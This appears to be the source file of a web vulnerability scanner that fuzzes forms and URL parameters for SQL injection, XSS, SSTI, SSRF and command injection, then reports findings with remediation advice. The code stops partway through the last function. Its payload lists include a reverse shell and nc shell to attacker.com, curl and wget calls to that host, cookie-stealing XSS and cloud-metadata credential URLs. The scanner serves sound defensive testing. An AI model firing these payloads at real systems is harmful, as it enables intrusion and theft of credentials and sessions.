File size: 41,329 Bytes
d543fc1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
"""

fuzzer_scanner.py β€” Active XSS & SQL Injection Fuzzer

=====================================================

Senior Security Engineer-grade injection testing module.



This scanner:

  1. Crawls the target page recursively using WebCrawler.

  2. Injects curated SQLi and XSS payloads into every discovered input vector.

  3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL,

     MSSQL, Oracle, SQLite) and reflected XSS payload markers.

  4. Performs boolean-based blind SQL injection checks.

  5. Reports each confirmed injection point with severity, CVSS, evidence,

     and remediation guidance.

"""
import urllib.request, urllib.error, urllib.parse, ssl, re, time
from html.parser import HTMLParser
from scanners.base_scanner import BaseScanner
from utils.web_crawler import WebCrawler
from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS

# ──────────────────────────────────────────────────────────────────────
# Payload Sets
# ──────────────────────────────────────────────────────────────────────
SQLI_PAYLOADS = [
    # Classic auth-bypass / error-based
    "' OR '1'='1",
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    '" OR "1"="1"',
    "1' AND 1=1 --",
    "1' AND 1=0 --",
    "' UNION SELECT NULL --",
    "' UNION SELECT NULL, NULL --",
    "'; WAITFOR DELAY '0:0:3' --",
    "1; SELECT SLEEP(3) --",
    "admin'--",
    "admin' #",
    "admin' --",
    "' OR 1=1#",
    "' OR 1=1--",
    '" OR 1=1--',
    "\" OR \"1\"=\"1",
    "' OR 'a'='a",
    "') OR ('1'='1",
    "1' ORDER BY 1 --",
    "1' ORDER BY 100 --",
    "' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
]

XSS_PAYLOADS = [
    '<script>alert("XSS")</script>',
    '"><script>alert(1)</script>',
    "'\"><img src=x onerror=alert(1)>",
    '<svg onload=alert(1)>',
    '"><svg/onload=alert(1)>',
    "javascript:alert(1)",
    '<img src=x onerror=alert("XSS")>',
    '{{7*7}}',                          # SSTI probe
    '${7*7}',                           # Template injection probe
    '<body onload=alert(1)>',
    '<input onfocus=alert(1) autofocus>',
    '" onfocus="alert(1)" autofocus="',
    "';alert(1)//",
    '<details open ontoggle=alert(1)>',
    
    # Additional payloads from user XSS script
    "<script>alert('XSS')</script>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert('XSS')>",
    "<svg/onload=alert('XSS')>",
    "<iframe src=javascript:alert('XSS')>",
    "<body onload=alert('XSS')>",
    "<input onfocus=alert('XSS') autofocus>",
    "<select onfocus=alert('XSS') autofocus>",
    "<textarea onfocus=alert('XSS') autofocus>",
    "<iframe src='javascript:alert(\"XSS\")'>",
    "'\"><script>alert(String.fromCharCode(88,83,83))</script>",
    "<scr<script>ipt>alert('XSS')</scr</script>ipt>",
]

# Advanced Red-Team Payloads
TIME_BASED_SQLI = [
    "SLEEP(5)/*",
    "' OR SLEEP(5)='",
    "pg_sleep(5)--",
    "'; WAITFOR DELAY '0:0:5'--",
    "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
    "'; SELECT pg_sleep(5)--",
    "1; SELECT SLEEP(5)#",
    "' OR BENCHMARK(5000000,MD5(1))--",
    "1 AND SLEEP(5)#",
    "'; EXEC xp_cmdshell('ping 127.0.0.1 -n 5')--"
]

SSRF_PAYLOADS = [
    "http://169.254.169.254/latest/meta-data/",
    "http://127.0.0.1:80",
    "http://localhost:22",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://169.254.169.254/latest/user-data",
    "http://metadata.google.internal/computeMetadata/v1/",
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
    "http://0177.0.0.1",
    "http://0x7f.0.0.1",
    "http://2130706433",
    "file:///etc/passwd",
    "file:///windows/win.ini"
]

CMD_INJECTION_PAYLOADS = [
    "; cat /etc/passwd",
    "| type C:\\Windows\\win.ini",
    "`id`",
    "$(whoami)",
    "; ls -la",
    "| dir",
    "&& whoami",
    "; curl http://attacker.com/$(whoami)",
    "| powershell -c 'Get-Process'",
    "`nslookup attacker.com`",
    "; wget http://attacker.com/shell.sh",
    "$(curl http://attacker.com)",
    "; bash -i >& /dev/tcp/attacker.com/4444 0>&1",
    "| nc attacker.com 4444 -e /bin/bash"
]

# Advanced XSS Payloads for DOM-based and stored XSS
ADVANCED_XSS_PAYLOADS = [
    "<script>document.location='http://attacker.com/?c='+document.cookie</script>",
    "<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
    "<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
    "<details open ontoggle=alert(1)>",
    "<iframe srcdoc='<script>alert(1)</script>'>",
    "<object data='javascript:alert(1)'>",
    "<embed src='javascript:alert(1)'>",
    "<math><maction actiontype='statusline' onactivate=alert(1)>click</maction></math>",
    "<form><button formaction='javascript:alert(1)'>XSS</button></form>",
    "<input type='text' onfocus='alert(1)' autofocus>",
    "<select onfocus='alert(1)' autofocus><option>XSS</option></select>",
    "<textarea onfocus='alert(1)' autofocus>XSS</textarea>",
    "<keygen onfocus='alert(1)' autofocus>",
    "<video><source onerror='alert(1)'>",
    "<audio src=x onerror='alert(1)'>",
    "<marquee onstart='alert(1)'>XSS</marquee>",
    "<isindex action='javascript:alert(1)' type='submit'>",
    "<iframe src='data:text/html,<script>alert(1)</script>'>"
]

# LDAP Injection Payloads
LDAP_INJECTION_PAYLOADS = [
    "*)(uid=*",
    "*)(&",
    "*)(|(objectClass=*)",
    "*)(|(password=*",
    "*))%00",
    "*)(&(|(objectClass=*",
    "*)(|(cn=*",
    "*)(|(sn=*"
]

# NoSQL Injection Payloads
NOSQL_INJECTION_PAYLOADS = [
    "' || '1'=='1",
    "' && '1'=='1",
    "'; return true;//",
    "' && this.password.match(/.*/)//",
    "' && this.password.match(/^a/)//",
    "' && this.password.length>0//",
    "' && this.password.length<10//",
    "' && this.password=='admin'//",
    "' || true)//",
    "' && true)//"
]

# Prototype Pollution Payloads
PROTOTYPE_POLLUTION_PAYLOADS = [
    '{"__proto__":{"admin":true}}',
    '{"constructor":{"prototype":{"admin":true}}}',
    '{"__proto__":{"isAdmin":true}}',
    '{"__proto__":{"auth":"admin"}}',
    '{"constructor":{"prototype":{"auth":"admin"}}}'
]

# Database error signatures β€” evidence of SQL injection
DB_ERROR_PATTERNS = [
    (r"You have an error in your SQL syntax",            "MySQL"),
    (r"Warning.*mysql_",                                 "MySQL"),
    (r"MySQLSyntaxErrorException",                       "MySQL"),
    (r"valid MySQL result",                              "MySQL"),
    (r"PostgreSQL.*ERROR",                               "PostgreSQL"),
    (r"pg_query\(\).*failed",                            "PostgreSQL"),
    (r"PSQLException",                                   "PostgreSQL"),
    (r"unterminated quoted string",                      "PostgreSQL"),
    (r"Microsoft OLE DB Provider for SQL Server",        "MSSQL"),
    (r"Unclosed quotation mark after the character string", "MSSQL"),
    (r"Microsoft SQL Native Client error",               "MSSQL"),
    (r"ODBC SQL Server Driver",                          "MSSQL"),
    (r"ORA-\d{5}",                                       "Oracle"),
    (r"Oracle error",                                    "Oracle"),
    (r"SQLite3::SQLException",                           "SQLite"),
    (r"SQLITE_ERROR",                                    "SQLite"),
    (r"near \".*\": syntax error",                       "SQLite"),
    (r"SQL syntax.*MariaDB",                             "MariaDB"),
    (r"javax\.persistence\.PersistenceException",        "JPA/Hibernate"),
    (r"org\.hibernate\.exception",                       "Hibernate"),
]

# ──────────────────────────────────────────────────────────────────────
# HTML Form Parser (Retained for backwards compatibility)
# ──────────────────────────────────────────────────────────────────────
class FormParser(HTMLParser):
    """Parse HTML to extract <form> elements with their <input>/<textarea> fields."""

    def __init__(self):
        super().__init__()
        self.forms = []
        self._current_form = None

    def handle_starttag(self, tag, attrs):
        attrs_dict = dict(attrs)
        if tag == "form":
            self._current_form = {
                "action": attrs_dict.get("action", ""),
                "method": attrs_dict.get("method", "GET").upper(),
                "inputs": [],
            }
        elif tag in ("input", "textarea", "select") and self._current_form is not None:
            input_type = attrs_dict.get("type", "text").lower()
            # Skip submit/button/hidden/file inputs
            if input_type not in ("submit", "button", "image", "file", "hidden", "reset"):
                name = attrs_dict.get("name", attrs_dict.get("id", ""))
                if name:
                    self._current_form["inputs"].append({
                        "name": name,
                        "type": input_type,
                        "value": attrs_dict.get("value", ""),
                    })
            # Also capture hidden fields for completeness but don't fuzz them
            elif input_type == "hidden":
                name = attrs_dict.get("name", "")
                if name:
                    self._current_form["inputs"].append({
                        "name": name,
                        "type": "hidden",
                        "value": attrs_dict.get("value", ""),
                    })

    def handle_endtag(self, tag):
        if tag == "form" and self._current_form is not None:
            self.forms.append(self._current_form)
            self._current_form = None


# ──────────────────────────────────────────────────────────────────────
# Scanner Implementation
# ──────────────────────────────────────────────────────────────────────
class FuzzerScanner(BaseScanner):
    SCANNER_NAME = "XSS & SQL Injection Fuzzer"

    def __init__(self, scan_id, target, domain, **kwargs):
        super().__init__(scan_id, target, domain, **kwargs)
        self._ctx = ssl.create_default_context()
        self._ctx.check_hostname = False
        self._ctx.verify_mode = ssl.CERT_NONE
        self._headers = {"User-Agent": "LarShield/2.0 Fuzzer"}
        if self.auth_headers:
            self._headers.update(self.auth_headers)
            
        self._tested_vectors = 0
        self._sqli_found = 0
        self._xss_found = 0
        self.max_depth = kwargs.get("max_depth", 1)
        self.delay = kwargs.get("delay", 0.2)
        self.exclude_paths = kwargs.get("exclude_paths", [])
        self.red_team = kwargs.get("red_team", False)
        self._fuzzer = ContextAwareFuzzer(self._fuzzer_req)

    def _sqli_limit(self):
        return len(SQLI_PAYLOADS) if self.red_team else 8

    def _xss_limit(self):
        return len(XSS_PAYLOADS) if self.red_team else 6

    def _get(self, url, timeout=8):
        self._throttle()
        try:
            req = urllib.request.Request(url, headers=self._headers)
            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
        except urllib.error.HTTPError as e:
            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
            return body, e.code
        except Exception as e:
            self.log("ERROR", f"[Fuzzer] _get error: {e}")
            return "", 0

    def _post(self, url, data, timeout=8):
        self._throttle()
        try:
            encoded = urllib.parse.urlencode(data).encode("utf-8")
            req = urllib.request.Request(url, data=encoded, headers={
                **self._headers,
                "Content-Type": "application/x-www-form-urlencoded"
            })
            with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
                return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
        except urllib.error.HTTPError as e:
            body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
            return body, e.code
        except Exception as e:
            self.log("ERROR", f"[Fuzzer] _post error: {e}")
            return "", 0

    # ── SQLi Detection ────────────────────────────────────────────────
    def _check_sqli(self, body, payload, vector_desc):
        for pattern, db_type in DB_ERROR_PATTERNS:
            if re.search(pattern, body, re.IGNORECASE):
                self._sqli_found += 1
                self.log("CRITICAL",
                         f"[Fuzzer] SQL INJECTION CONFIRMED! Vector: {vector_desc} | "
                         f"DB: {db_type} | Payload: {payload[:60]}")
                self.add_vuln(
                    title=f"SQL Injection β€” {db_type} Error-Based",
                    severity="Critical", category="Injection", cvss_score=9.8,
                    description=(
                        f"A SQL injection vulnerability was confirmed on {vector_desc}.\n"
                        f"Payload: `{payload}`\n"
                        f"The server responded with a {db_type} database error, confirming "
                        f"unsanitised user input is being concatenated into SQL queries.\n\n"
                        f"Impact: An attacker can read/modify/delete all database records, "
                        f"escalate privileges, and potentially achieve remote code execution."
                    ),
                    remediation=(
                        "1. USE PARAMETERISED QUERIES / PREPARED STATEMENTS β€” never concatenate user input into SQL.\n"
                        "   Python:  cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))\n"
                        "   Node.js: db.query('SELECT * FROM users WHERE id = $1', [userId])\n"
                        "2. Use an ORM (SQLAlchemy, Sequelize, Prisma) that handles parameterisation.\n"
                        "3. Implement input validation β€” reject characters like ' \" ; -- /* in non-freetext fields.\n"
                        "4. Apply the principle of least privilege to database accounts.\n"
                        "5. Deploy a Web Application Firewall (WAF) as defense-in-depth."
                    ),
                )
                return True
        return False

    def _check_boolean_sqli(self, url, param_name, method='GET', form_inputs=None):
        """Test for boolean-based blind SQL injection by comparing true and false logical states."""
        try:
            if method.upper() == 'GET':
                parsed = urllib.parse.urlparse(url)
                params = urllib.parse.parse_qs(parsed.query)
                
                params_true = {k: v[0] for k, v in params.items()}
                params_true[param_name] = "' AND '1'='1"
                url_true = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_true)}"
                body_true, _ = self._get(url_true)
                
                params_false = {k: v[0] for k, v in params.items()}
                params_false[param_name] = "' AND '1'='2"
                url_false = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_false)}"
                body_false, _ = self._get(url_false)
            else:
                data_true = {}
                if form_inputs:
                    for inp in form_inputs:
                        data_true[inp["name"]] = inp["value"] or "test"
                data_false = data_true.copy()
                data_true[param_name] = "' AND '1'='1"
                data_false[param_name] = "' AND '1'='2"
                body_true, _ = self._post(url, data_true)
                body_false, _ = self._post(url, data_false)
                
            if body_true and body_false and len(body_true) != len(body_false):
                vector_desc = f"{method} {url} β†’ parameter '{param_name}'"
                self._sqli_found += 1
                self.log("CRITICAL", f"[Fuzzer] BLIND SQL INJECTION DETECTED! Vector: {vector_desc}")
                self.add_vuln(
                    title="SQL Injection β€” Boolean-Based Blind",
                    severity="Critical", category="Injection", cvss_score=9.8,
                    description=(
                        f"A boolean-based blind SQL injection vulnerability was confirmed on {vector_desc}.\n"
                        f"Injecting `' AND '1'='1` and `' AND '1'='2` produced different response lengths "
                        f"({len(body_true)} vs {len(body_false)} bytes), indicating the application's logic "
                        f"is influenced by the SQL query response.\n\n"
                        f"Impact: An attacker can read arbitrary database schema and data by parsing conditional true/false responses."
                    ),
                    remediation=(
                        "1. Use parameterised queries or prepared statements exclusively.\n"
                        "2. Implement strict input validation on all parameters.\n"
                        "3. Apply WAF protections to detect logical inference attacks."
                    )
                )
                return True
        except Exception as e:
            self.log("ERROR", f"[Fuzzer] _check_boolean_sqli error: {e}")
        return False

    # ── XSS Detection ─────────────────────────────────────────────────
    def _check_xss(self, body, payload, vector_desc):
        # Check if the exact payload is reflected unsanitised in the response
        if payload in body:
            self._xss_found += 1
            self.log("CRITICAL",
                     f"[Fuzzer] REFLECTED XSS CONFIRMED! Vector: {vector_desc} | "
                     f"Payload: {payload[:60]}")
            self.add_vuln(
                title="Reflected Cross-Site Scripting (XSS)",
                severity="High", category="Injection", cvss_score=8.1,
                description=(
                    f"A reflected XSS vulnerability was confirmed on {vector_desc}.\n"
                    f"Payload: `{payload}`\n"
                    f"The payload was reflected in the response body without sanitisation, "
                    f"allowing arbitrary JavaScript execution in the victim's browser.\n\n"
                    f"Impact: Session hijacking, credential theft, phishing, defacement, "
                    f"and malware distribution."
                ),
                remediation=(
                    "1. ENCODE ALL OUTPUT β€” use context-aware output encoding:\n"
                    "   HTML: &lt; &gt; &amp; &quot; &#x27;\n"
                    "   JavaScript: \\xHH escaping\n"
                    "   URL: percent-encoding\n"
                    "2. Implement Content Security Policy (CSP) headers:\n"
                    "   Content-Security-Policy: default-src 'self'; script-src 'self'\n"
                    "3. Use framework auto-escaping (React JSX, Django templates, Jinja2).\n"
                    "4. Validate and sanitise input on the server side.\n"
                    "5. Set HttpOnly and Secure flags on session cookies."
                ),
            )
            return True

        # Check for SSTI (Server-Side Template Injection)
        if payload in ('{{7*7}}', '${7*7}') and '49' in body:
            self._xss_found += 1
            self.log("CRITICAL",
                     f"[Fuzzer] SSTI DETECTED! Template expression evaluated. Vector: {vector_desc}")
            self.add_vuln(
                title="Server-Side Template Injection (SSTI)",
                severity="Critical", category="Injection", cvss_score=9.8,
                description=(
                    f"A Server-Side Template Injection was confirmed on {vector_desc}.\n"
                    f"The expression `{payload}` was evaluated to `49` by the server template engine.\n\n"
                    f"Impact: SSTI can lead to Remote Code Execution (RCE), allowing complete server compromise."
                ),
                remediation=(
                    "1. Never pass user input directly into template rendering.\n"
                    "2. Use a sandboxed template engine or disable dangerous built-in functions.\n"
                    "3. Upgrade to the latest template engine version with SSTI protections."
                ),
            )
            return True

        return False

    # ── Form Fuzzing ──────────────────────────────────────────────────
    def _fuzz_form(self, form, base_url):
        action = form["action"]
        method = form["method"]

        if action.startswith("http"):
            target_url = action
        elif action.startswith("/"):
            parsed = urllib.parse.urlparse(base_url)
            target_url = f"{parsed.scheme}://{parsed.netloc}{action}"
        elif action:
            target_url = base_url.rstrip("/") + "/" + action
        else:
            target_url = base_url

        fuzzable_inputs = [i for i in form["inputs"] if i["type"] != "hidden"]
        if not fuzzable_inputs:
            return

        self.log("INFO", f"[Fuzzer] Testing form: {method} {target_url} β€” {len(fuzzable_inputs)} input(s)")

        for inp in fuzzable_inputs:
            input_name = inp["name"]
            vector_desc = f"Form {method} {target_url} β†’ input '{input_name}'"

            # SQLi payloads
            sqli_detected = False
            for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
                self._tested_vectors += 1
                data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
                data[input_name] = payload

                if method == "POST":
                    body, status = self._post(target_url, data)
                else:
                    qs = urllib.parse.urlencode(data)
                    body, status = self._get(f"{target_url}?{qs}")

                if body and self._check_sqli(body, payload, vector_desc):
                    sqli_detected = True
                    break  # One confirmed finding per input is sufficient

            if not sqli_detected:
                self._check_boolean_sqli(target_url, input_name, method, form["inputs"])

            # Time-based blind SQLi β€” always active (no response difference, timing-only)
            if not sqli_detected:
                self._check_time_based_sqli(target_url, input_name, method, form["inputs"])

            # XSS payloads
            for payload in XSS_PAYLOADS[:self._xss_limit()]:
                self._tested_vectors += 1
                data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
                data[input_name] = payload

                if method == "POST":
                    body, status = self._post(target_url, data)
                else:
                    qs = urllib.parse.urlencode(data)
                    body, status = self._get(f"{target_url}?{qs}")

                if body and self._check_xss(body, payload, vector_desc):
                    break

    # ── URL Parameter Fuzzing ─────────────────────────────────────────
    def _fuzz_url_params(self, url):
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qs(parsed.query)
        if not params:
            return

        self.log("INFO", f"[Fuzzer] Testing {len(params)} URL parameter(s) on {parsed.path}")

        for param_name in params:
            vector_desc = f"URL param '{param_name}' on {parsed.path}"

            sqli_detected = False
            for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
                self._tested_vectors += 1
                test_params = {k: v[0] for k, v in params.items()}
                test_params[param_name] = payload
                test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"

                body, status = self._get(test_url)
                if body and self._check_sqli(body, payload, vector_desc):
                    sqli_detected = True
                    break

            if not sqli_detected:
                self._check_boolean_sqli(url, param_name, 'GET')

            # Time-based blind SQLi β€” always active
            if not sqli_detected:
                self._check_time_based_sqli(url, param_name, 'GET')

            for payload in XSS_PAYLOADS[:self._xss_limit()]:
                self._tested_vectors += 1
                test_params = {k: v[0] for k, v in params.items()}
                test_params[param_name] = payload
                test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"

                body, status = self._get(test_url)
                if body and self._check_xss(body, payload, vector_desc):
                    break

    # ── Red-Team Payload Probing ──────────────────────────────────────
    def _check_ssrf(self, body, payload, vector_desc):
        indicators = ["ami-id", "instance-id", "root:x:0:0", "localhost", "127.0.0.1"]
        if any(ind in body for ind in indicators):
            self.log("CRITICAL", f"[Fuzzer] SSRF INDICATOR! Vector: {vector_desc} | Payload: {payload[:60]}")
            self.add_vuln(
                title="Server-Side Request Forgery (SSRF)",
                severity="Critical", category="Injection", cvss_score=9.1,
                description=(
                    f"A potential SSRF vulnerability was detected on {vector_desc}.\n"
                    f"Payload: `{payload}`\n"
                    f"The server response contained internal network or metadata indicators, "
                    f"suggesting the application fetched attacker-controlled URLs server-side.\n\n"
                    f"Impact: Access to internal services, cloud metadata theft, and lateral movement."
                ),
                remediation=(
                    "1. Block requests to private IP ranges and link-local addresses.\n"
                    "2. Use an allowlist of permitted outbound domains.\n"
                    "3. Disable URL fetching features or proxy through a hardened egress gateway."
                ),
            )
            return True
        return False

    def _check_cmd_injection(self, body, payload, vector_desc):
        cmd_indicators = ["uid=", "gid=", "groups=", "[boot loader]", "root:", "www-data"]
        if any(ind in body for ind in cmd_indicators):
            self.log("CRITICAL", f"[Fuzzer] COMMAND INJECTION! Vector: {vector_desc} | Payload: {payload[:60]}")
            self.add_vuln(
                title="OS Command Injection",
                severity="Critical", category="Injection", cvss_score=9.8,
                description=(
                    f"A command injection vulnerability was detected on {vector_desc}.\n"
                    f"Payload: `{payload}`\n"
                    f"The response contained OS-level output, indicating shell command execution.\n\n"
                    f"Impact: Full server compromise via arbitrary command execution."
                ),
                remediation=(
                    "1. Never pass user input to shell interpreters.\n"
                    "2. Use language-native APIs instead of os.system/subprocess with user data.\n"
                    "3. Apply strict input validation and run processes with least privilege."
                ),
            )
            return True
        return False

    def _check_time_based_sqli(self, url, param_name, method='GET', form_inputs=None):
        for payload in TIME_BASED_SQLI[:3]:
            try:
                start = time.time()
                if method.upper() == 'GET':
                    parsed = urllib.parse.urlparse(url)
                    params = urllib.parse.parse_qs(parsed.query)
                    test_params = {k: v[0] for k, v in params.items()}
                    test_params[param_name] = payload
                    test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
                    self._get(test_url, timeout=12)
                else:
                    data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
                    data[param_name] = payload
                    self._post(url, data, timeout=12)
                elapsed = time.time() - start
                if elapsed >= 4.5:
                    vector_desc = f"{method} {url} β†’ parameter '{param_name}'"
                    self._sqli_found += 1
                    self.log("CRITICAL", f"[Fuzzer] TIME-BASED SQLi! Vector: {vector_desc} ({elapsed:.1f}s delay)")
                    self.add_vuln(
                        title="SQL Injection β€” Time-Based Blind",
                        severity="Critical", category="Injection", cvss_score=9.8,
                        description=(
                            f"A time-based blind SQL injection was detected on {vector_desc}.\n"
                            f"Payload: `{payload}` caused a {elapsed:.1f}s response delay.\n\n"
                            f"Impact: Attackers can exfiltrate data bit-by-bit using timing side-channels."
                        ),
                        remediation=(
                            "1. Use parameterised queries exclusively.\n"
                            "2. Set aggressive query timeouts at the database layer.\n"
                            "3. Deploy WAF rules for sleep/waitfor/benchmark patterns."
                        ),
                    )
                    return True
            except Exception as e:
                self.log("ERROR", f"[Fuzzer] _check_time_based_sqli error: {e}")
                continue
        return False

    def _fuzzer_req(self, url, params, headers=None):
        data = urllib.parse.urlencode(params).encode("utf-8") if params else None
        merged = {"Content-Type": "application/x-www-form-urlencoded"}
        if headers:
            merged.update(headers)
        body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
        return body or "", status

    def _context_fuzz(self):
        crawl_results = self.discovery_context or {"forms": [], "urls": []}
        all_params = {}
        for form in crawl_results.get("forms", []):
            for inp in form.get("inputs", []):
                if inp.get("type") != "hidden":
                    all_params[inp["name"]] = inp.get("value", "test")
        for url_entry in crawl_results.get("urls", []):
            url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
